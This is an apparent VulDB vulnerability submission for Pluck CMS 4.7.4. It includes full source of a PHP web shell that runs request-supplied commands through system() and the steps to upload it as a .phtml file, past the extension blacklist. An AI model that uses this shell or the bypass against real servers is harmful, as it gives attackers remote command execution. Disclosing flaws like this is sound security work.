Submeter #30: Pluck CMS 4.7.4 Shell Upload Filter Bypass

From the admin interface choose:

Pages -> Manage Files

Create the following simple command shell and name it simple-backdoor.phtml

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

The .phtml (executable extension) defeats the “blacklist” approach taken in this app in regards to allowable file extensions. Which is searching for ‘php’ as the last 3 characters i.e the extension. PHTML along w/ php2..php3 and so on defeated this filter. You get a shell in the context of the web server.

• Fonte: ⚠️ https://github.com/pluck-cms
• Utilizador: s7acktrac3 (UID 865)
• Submissão: 25/05/2018 13h22 (há 8 anos)
• Moderação: 25/05/2018 17h32 (4 hours later)
• Estado: Aceite
• Entrada VulDB: 118203 [Pluck 4.7.4 Manage Files Page Elevação de Privilégios]
• Pontos: 17